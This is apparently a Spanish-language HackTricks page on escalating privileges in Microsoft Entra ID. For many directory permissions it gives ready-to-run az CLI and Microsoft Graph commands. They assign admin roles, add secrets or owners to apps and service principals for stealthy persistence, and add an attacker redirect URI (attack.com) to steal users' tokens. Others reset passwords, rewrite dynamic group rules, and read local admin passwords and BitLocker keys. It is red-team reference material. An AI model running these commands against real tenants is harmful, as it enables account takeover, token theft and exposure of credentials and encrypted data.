Az - EntraID Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Note

Ten en cuenta que no todos los permisos granulares que los roles incorporados tienen en Entra ID son elegibles para usarse en roles personalizados.

Roles

Role: Privileged Role Administrator

Este rol contiene los permisos granulares necesarios para asignar roles a principals y para otorgar más permisos a roles. Ambas acciones podrían ser abusadas para escalar privilegios.

  • Asignar un rol a un usuario:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Agregar más permisos a un rol:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

Aplicaciones

microsoft.directory/applications/credentials/update

Esto permite a un atacante añadir credenciales (contraseñas o certificados) a aplicaciones existentes. Si la aplicación tiene permisos privilegiados, el atacante puede autenticarse como esa aplicación y obtener esos privilegios.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Esto permite las mismas acciones que applications/credentials/update, pero limitadas a aplicaciones de un solo directorio.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Al agregarse como owner, un atacante puede manipular la aplicación, incluyendo credentials y permissions.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Un atacante puede añadir un URI de redirección a aplicaciones que estén siendo usadas por usuarios del tenant y luego compartir con ellos URLs de inicio de sesión que usen el nuevo URI de redirección con el fin de robar sus tokens. Ten en cuenta que si el usuario ya estaba autenticado en la aplicación, la autenticación será automática sin que el usuario tenga que aceptar nada.

Ten en cuenta también que es posible cambiar los permisos que solicita la aplicación para obtener más privilegios, pero en ese caso el usuario tendrá que aceptar de nuevo el aviso pidiendo todos los permisos.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Escalada de privilegios de aplicaciones

Como se explica en esta entrada era muy común encontrar aplicaciones predeterminadas que tienen API permissions de tipo Application asignadas. Un API Permission (tal como aparece en la consola de Entra ID) de tipo Application significa que la aplicación puede acceder a la API y realizar acciones sin un contexto de usuario (sin un usuario iniciando sesión en la app), y sin necesitar roles de Entra ID que lo permitan. Por ello, es muy común encontrar aplicaciones con altos privilegios en cada tenant de Entra ID.

Entonces, si un atacante dispone de cualquier permiso/rol que le permita actualizar las credenciales (secret o certificate) de la aplicación, puede generar una nueva credencial y usarla para autenticarse como la aplicación, obteniendo todos los permisos que la aplicación posee.

Ten en cuenta que el blog mencionado comparte algunas API permissions de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este informe Microsoft solucionó este problema y ya no es posible login como aplicaciones de Microsoft. Aun así, sigue siendo posible encontrar custom applications con altos privilegios que podrían ser abusadas.

Cómo enumerar las API permissions de una aplicación:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontrar todos los permisos de API de las aplicaciones y marcar las APIs propiedad de Microsoft ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Service Principals

### `microsoft.directory/servicePrincipals/credentials/update`

Esto permite a un atacante añadir credenciales a service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

La nueva contraseña generada no aparecerá en la consola web, así que esto podría ser una forma sigilosa de mantener persistencia sobre un service principal.
Desde la API se pueden encontrar con: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearla. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permite ejecutar:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Esto permite a un atacante añadir credenciales a los service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Al igual que con las aplicaciones, este permiso permite agregar más propietarios a un service principal. Ser propietario de un service principal permite controlar sus credenciales y permisos.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Después de añadir un nuevo propietario, intenté eliminarlo pero la API respondió que el método DELETE no era compatible, aun cuando es el método que necesitas usar para eliminar al propietario. Así que ya no puedes eliminar propietarios.

microsoft.directory/servicePrincipals/disable and enable

Estos permisos permiten deshabilitar y habilitar service principals. Un atacante podría usar este permiso para habilitar un service principal al que consiga acceder de alguna manera para escalar privilegios.

Ten en cuenta que para esta técnica el atacante necesitará más permisos para tomar el control del service principal habilitado.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Estos permisos permiten crear y obtener credenciales para single sign-on, lo que podría permitir el acceso a aplicaciones de terceros.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupos

microsoft.directory/groups/allProperties/update

Este permiso permite agregar usuarios a grupos privilegiados, lo que conduce a privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye los grupos asignables a roles de Entra ID.

microsoft.directory/groups/owners/update

Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, pudiendo potencialmente escalar privilegios sobre el grupo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Este permiso excluye Entra ID role-assignable groups.

microsoft.directory/groups/members/update

Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo u otras cuentas maliciosas a grupos privilegiados, lo que podría otorgar acceso elevado.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Nota: Este permiso excluye Entra ID role-assignable groups.

Dynamic Groups Privesc

Podría ser posible que los usuarios escalen privilegios al modificar sus propias propiedades para ser añadidos como miembros de dynamic groups. Para más información consulta:

Az - Dynamic Groups Privesc

Usuarios

microsoft.directory/users/password/update

Este permiso permite restablecer la contraseña de usuarios que no son administradores, lo que permite a un atacante potencial escalar privilegios a otros usuarios. Este permiso no puede asignarse a roles personalizados.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que agregan usuarios según los valores de sus propiedades; por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Las conditional access policies mal configuradas que requieren MFA podrían ser bypassed; revisa:

Az - Conditional Access Policies & MFA Bypass

Dispositivos

microsoft.directory/devices/registeredOwners/update

Este permiso permite a los atacantes asignarse a sí mismos como propietarios de dispositivos para obtener control o acceder a configuraciones y datos específicos del dispositivo.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldadas para dispositivos unidos a Microsoft Entra, incluyendo la password

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Otros permisos interesantes (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks